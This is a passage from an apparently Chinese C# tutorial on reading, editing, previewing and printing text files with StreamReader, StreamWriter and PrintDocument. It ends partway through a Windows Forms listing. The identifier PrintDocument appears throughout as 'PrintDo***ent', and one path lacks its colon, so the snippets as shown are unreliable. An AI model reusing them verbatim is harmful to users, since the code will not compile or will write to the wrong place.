		  <summary type="html"><![CDATA[&nbsp;文本文件是一种常用的文件格式，所以如何处理文本文件也就成为编程的一个重点。本文就来探讨一下用C＃是如何来处理文本文件。其内容重点就是如何读取文本文件内容、如何改变文本文件的内容，以及如何用C＃来实现对读取后的文本文件的打印预览和打印。&nbsp;&nbsp;<BR><BR>一．&nbsp;&nbsp;本文程序设计和运行的软件环境：&nbsp;&nbsp;<BR><BR>（1）.微软公司视窗2000服务器版&nbsp;&nbsp;<BR><BR>（2）..Net&nbsp;&nbsp;FrameWork&nbsp;&nbsp;SDK&nbsp;&nbsp;Beta&nbsp;&nbsp;2&nbsp;&nbsp;<BR><BR>二．&nbsp;&nbsp;C＃处理文本文件的一些重要环节：&nbsp;&nbsp;<BR><BR>（1）.如何读取文本文件内容：&nbsp;&nbsp;<BR><BR>在本文介绍的程序中，是把读取的文本文件，用一个richTextBox组件显示出来。要读取文本文件，必须使用到"StreamReader"类，这个类是由名字空间"System.IO"中定义的。通过"StreamReader"类的"ReadLine&nbsp;&nbsp;(&nbsp;&nbsp;)"方法，就可以读取打开数据流当前行的数据了。下面代码实现的功能就是读取"C:\file.txt"并在richTextBox1组件中显示出来：&nbsp;&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;FileStream&nbsp;&nbsp;fs&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;FileStream&nbsp;&nbsp;(&nbsp;&nbsp;"C:\\file.txt"&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;&nbsp;FileMode.Open&nbsp;&nbsp;,&nbsp;&nbsp;FileAccess.Read&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StreamReader&nbsp;&nbsp;m_streamReader&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;StreamReader&nbsp;&nbsp;(&nbsp;&nbsp;fs&nbsp;&nbsp;)&nbsp;&nbsp;;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//使用StreamReader类来读取文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;m_streamReader.BaseStream.Seek&nbsp;&nbsp;(&nbsp;&nbsp;0&nbsp;&nbsp;,&nbsp;&nbsp;SeekOrigin.Begin&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;从数据流中读取每一行，直到文件的最后一行，并在richTextBox1中显示出内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.richTextBox1.Text&nbsp;&nbsp;=&nbsp;&nbsp;""&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;&nbsp;strLine&nbsp;&nbsp;=&nbsp;&nbsp;m_streamReader.ReadLine&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;&nbsp;(&nbsp;&nbsp;strLine&nbsp;&nbsp;!=&nbsp;&nbsp;null&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.richTextBox1.Text&nbsp;&nbsp;+=&nbsp;&nbsp;strLine&nbsp;&nbsp;+&nbsp;&nbsp;"\n"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strLine&nbsp;&nbsp;=&nbsp;&nbsp;m_streamReader.ReadLine&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//关闭此StreamReader对象<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamReader.Close&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;&nbsp;&nbsp;&nbsp;&nbsp;<BR><BR><BR>（2）.如何改变文本文件中数据内容：&nbsp;&nbsp;<BR><BR>在本文介绍的程序中，改变文本文件数据内容的功能是通过改变richTextBox1中的内容来实现的，当richTextBox1这的内容改变后，按动"另存为"，就把richTextBox1中内容存储到指定的文本文件中了。要想改变文本文件内容，要使用到"StreamWriter"类，这个类和"StreamReader"一样，都是由"System.IO"名字空间来定义的。通过"StreamWriter"类的"Write&nbsp;&nbsp;(&nbsp;&nbsp;)"方法，就可以轻松实现文本文件内容的更改了。下面代码的功能是：如果"C"盘存在"file.txt"，则把richTextBox1中的内容写入到"file.txt"中，如果不存在，则创建此文件，然后在写入文本数据。&nbsp;&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//创建一个文件流，用以写入或者创建一个StreamWriter<BR>&nbsp;&nbsp;&nbsp;&nbsp;FileStream&nbsp;&nbsp;fs&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;FileStream&nbsp;&nbsp;(&nbsp;&nbsp;"C\\file.txt"&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;&nbsp;FileMode.OpenOrCreate&nbsp;&nbsp;,&nbsp;&nbsp;FileAccess.Write&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StreamWriter&nbsp;&nbsp;m_streamWriter&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;StreamWriter&nbsp;&nbsp;(&nbsp;&nbsp;fs&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamWriter.Flush&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;使用StreamWriter来往文件中写入内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamWriter.BaseStream.Seek&nbsp;&nbsp;(&nbsp;&nbsp;0&nbsp;&nbsp;,&nbsp;&nbsp;SeekOrigin.Begin&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;把richTextBox1中的内容写入文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamWriter.Write&nbsp;&nbsp;(&nbsp;&nbsp;richTextBox1.Text&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//关闭此文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamWriter.Flush&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_streamWriter.Close&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;&nbsp;&nbsp;&nbsp;&nbsp;<BR><BR><BR>从上面这二个代码可以，写入数据比起读取数据要显得容易些。&nbsp;&nbsp;<BR><BR>（3）.如何实现打印预览：&nbsp;&nbsp;<BR><BR>打印预览是通过打印预览对话框来实现的，实现对读取得文本文件的打印预览，最为重要的就是要通知打印预览对话框所要预览的文件的内容。下面代码就是把richTextBox1中显示的内容，通过打印预览对话框显示出来：&nbsp;&nbsp;<BR><BR>string&nbsp;&nbsp;strText&nbsp;&nbsp;=&nbsp;&nbsp;richTextBox1.Text&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;StringReader&nbsp;&nbsp;myReader&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;StringReader&nbsp;&nbsp;(&nbsp;&nbsp;strText&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;PrintPreviewDialog&nbsp;&nbsp;printPreviewDialog1&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;PrintPreviewDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;printPreviewDialog1.Do***ent&nbsp;&nbsp;=&nbsp;&nbsp;ThePrintDo***ent&nbsp;&nbsp;&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;printPreviewDialog1.FormBorderStyle&nbsp;&nbsp;=&nbsp;&nbsp;FormBorderStyle.Fixed3D&nbsp;&nbsp;&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;printPreviewDialog1.ShowDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;&nbsp;&nbsp;&nbsp;&nbsp;<BR><BR><BR>（4）.如何打印文件：&nbsp;&nbsp;<BR><BR>在名字空间"System.Drawing.Printing"中定义了一个类"PrintDo***ent"，通过调用此类的"Print"方法就可以触发在此名字空间中封装的另外一个事件"PrintPage"。在此事件中设定要打印的文档内容，从而实现队文本文件的打印操作。下面代码是调用"PrintDo***ent"的"Print"方法，和调用事件"PrintPage"来打印richTextBox1中的内容：&nbsp;&nbsp;<BR><BR>ThePrintDo***ent.Print&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;//其中ThePrintDo***ent是"PrintDo***ent"类的一个对象&nbsp;&nbsp;<BR><BR>下列代码是设定打印内容即打印richTextBox1中的内容：&nbsp;&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;float&nbsp;&nbsp;linesPerPage&nbsp;&nbsp;=&nbsp;&nbsp;0&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;float&nbsp;&nbsp;yPosition&nbsp;&nbsp;=&nbsp;&nbsp;0&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;count&nbsp;&nbsp;=&nbsp;&nbsp;0&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;float&nbsp;&nbsp;leftMargin&nbsp;&nbsp;=&nbsp;&nbsp;ev.MarginBounds.Left&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;float&nbsp;&nbsp;topMargin&nbsp;&nbsp;=&nbsp;&nbsp;ev.MarginBounds.Top&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;&nbsp;line&nbsp;&nbsp;=&nbsp;&nbsp;null&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Font&nbsp;&nbsp;printFont&nbsp;&nbsp;=&nbsp;&nbsp;richTextBox1.Font&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SolidBrush&nbsp;&nbsp;myBrush&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;SolidBrush&nbsp;&nbsp;(&nbsp;&nbsp;Color.Black&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//计算每一页打印多少行&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;linesPerPage&nbsp;&nbsp;=&nbsp;&nbsp;ev.MarginBounds.Height&nbsp;&nbsp;/&nbsp;&nbsp;printFont.GetHeight&nbsp;&nbsp;(&nbsp;&nbsp;ev.Graphics&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//重复使用StringReader对象&nbsp;&nbsp;,打印出richTextBox1中的所有内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;&nbsp;(&nbsp;&nbsp;count&nbsp;&nbsp;&lt;&nbsp;&nbsp;linesPerPage&nbsp;&nbsp;&&&nbsp;&nbsp;(&nbsp;&nbsp;(&nbsp;&nbsp;line&nbsp;&nbsp;=&nbsp;&nbsp;myReader.ReadLine&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;!=&nbsp;&nbsp;null&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>//&nbsp;&nbsp;计算出要打印的下一行所基于页面的位置<BR>&nbsp;&nbsp;&nbsp;&nbsp;yPosition&nbsp;&nbsp;=&nbsp;&nbsp;topMargin&nbsp;&nbsp;+&nbsp;&nbsp;(&nbsp;&nbsp;count&nbsp;&nbsp;*&nbsp;&nbsp;printFont.GetHeight&nbsp;&nbsp;(&nbsp;&nbsp;ev.Graphics&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;打印出richTextBox1中的下一行内容<BR>&nbsp;&nbsp;&nbsp;&nbsp;ev.Graphics.DrawString&nbsp;&nbsp;(&nbsp;&nbsp;line&nbsp;&nbsp;,&nbsp;&nbsp;printFont&nbsp;&nbsp;,&nbsp;&nbsp;myBrush&nbsp;&nbsp;,&nbsp;&nbsp;leftMargin&nbsp;&nbsp;,&nbsp;&nbsp;yPosition&nbsp;&nbsp;,&nbsp;&nbsp;new&nbsp;&nbsp;StringFormat&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;count++&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;判断如果还要下一页，则继续打印<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;(&nbsp;&nbsp;line&nbsp;&nbsp;!=&nbsp;&nbsp;null&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;ev.HasMorePages&nbsp;&nbsp;=&nbsp;&nbsp;true&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;ev.HasMorePages&nbsp;&nbsp;=&nbsp;&nbsp;false&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myBrush.Dispose&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;&nbsp;&nbsp;&nbsp;&nbsp;<BR><BR><BR>注释：由于在上述的代码中省掉了这些类所对于地名字空间，所以要想成功的编译和运行上述代码，就要在程序头部要导入所使用的名字空间。&nbsp;&nbsp;<BR><BR>三．&nbsp;&nbsp;用C＃处理文本文件的完整源程序代码（control.cs）：&nbsp;&nbsp;<BR><BR>掌握了上面这些关键步骤，就可以方便的得到用C＃来处理文本文件的一个完整的源程序，具体如下：&nbsp;&nbsp;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;&nbsp;System&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;&nbsp;System.Drawing&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;&nbsp;System.Collections&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;&nbsp;System.ComponentModel&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;&nbsp;System.Windows.Forms&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;&nbsp;System.Data&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;&nbsp;System.IO&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;&nbsp;System.Drawing.Printing&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;&nbsp;class&nbsp;&nbsp;Form1&nbsp;&nbsp;:&nbsp;&nbsp;Form<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;RichTextBox&nbsp;&nbsp;richTextBox1&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;Button&nbsp;&nbsp;button1&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;Button&nbsp;&nbsp;button2&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;Button&nbsp;&nbsp;button3&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;Button&nbsp;&nbsp;button4&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;Button&nbsp;&nbsp;button5&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;OpenFileDialog&nbsp;&nbsp;openFileDialog1&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;SaveFileDialog&nbsp;&nbsp;saveFileDialog1&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;PrintDialog&nbsp;&nbsp;printDialog1&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;PrintDo***ent&nbsp;&nbsp;ThePrintDo***ent&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;PrintPreviewDialog&nbsp;&nbsp;printPreviewDialog1&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;StringReader&nbsp;&nbsp;myReader&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;System.ComponentModel.Container&nbsp;&nbsp;components&nbsp;&nbsp;=&nbsp;&nbsp;null&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;&nbsp;Form1&nbsp;&nbsp;(&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//初始化窗体中的各个组件<BR>&nbsp;&nbsp;&nbsp;&nbsp;InitializeComponent&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;//清除程序中使用多的资源<BR>&nbsp;&nbsp;&nbsp;&nbsp;protected&nbsp;&nbsp;override&nbsp;&nbsp;void&nbsp;&nbsp;Dispose&nbsp;&nbsp;(&nbsp;&nbsp;bool&nbsp;&nbsp;disposing&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;(&nbsp;&nbsp;disposing&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;(&nbsp;&nbsp;components&nbsp;&nbsp;!=&nbsp;&nbsp;null&nbsp;&nbsp;)&nbsp;&nbsp;<BR>{<BR>components.Dispose&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;base.Dispose&nbsp;&nbsp;(&nbsp;&nbsp;disposing&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;void&nbsp;&nbsp;InitializeComponent&nbsp;&nbsp;(&nbsp;&nbsp;)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;RichTextBox&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button1&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Button&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button2&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Button&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button3&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Button&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button4&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Button&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button5&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Button&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;saveFileDialog1&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;SaveFileDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;openFileDialog1&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;OpenFileDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;printPreviewDialog1&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;PrintPreviewDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;printDialog1&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;PrintDialog&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;ThePrintDo***ent&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;PrintDo***ent&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ThePrintDo***ent.PrintPage&nbsp;&nbsp;+=&nbsp;&nbsp;new&nbsp;&nbsp;PrintPageEventHandler&nbsp;&nbsp;(&nbsp;&nbsp;ThePrintDo***ent_PrintPage&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;SuspendLayout&nbsp;&nbsp;(&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.Anchor&nbsp;&nbsp;=&nbsp;&nbsp;AnchorStyles.None&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.Name&nbsp;&nbsp;=&nbsp;&nbsp;"richTextBox1"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.Size&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Size&nbsp;&nbsp;(&nbsp;&nbsp;448&nbsp;&nbsp;,&nbsp;&nbsp;280&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.TabIndex&nbsp;&nbsp;=&nbsp;&nbsp;0&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;richTextBox1.Text&nbsp;&nbsp;=&nbsp;&nbsp;""&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button1.Anchor&nbsp;&nbsp;=&nbsp;&nbsp;AnchorStyles.None&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button1.Location&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Point&nbsp;&nbsp;(&nbsp;&nbsp;41&nbsp;&nbsp;,&nbsp;&nbsp;289&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button1.Name&nbsp;&nbsp;=&nbsp;&nbsp;"button1"&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button1.Size&nbsp;&nbsp;=&nbsp;&nbsp;new&nbsp;&nbsp;Size&nbsp;&nbsp;(&nbsp;&nbsp;48&nbsp;&nbsp;,&nbsp;&nbsp;30&nbsp;&nbsp;)&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button1.TabIndex&nbsp;&nbsp;=&nbsp;&nbsp;1&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;button1.Text&nbsp;&nbsp;=&nbsp;&nbsp;"打开"&nbsp;&nbsp;;<BR>&nbsp;&nbsp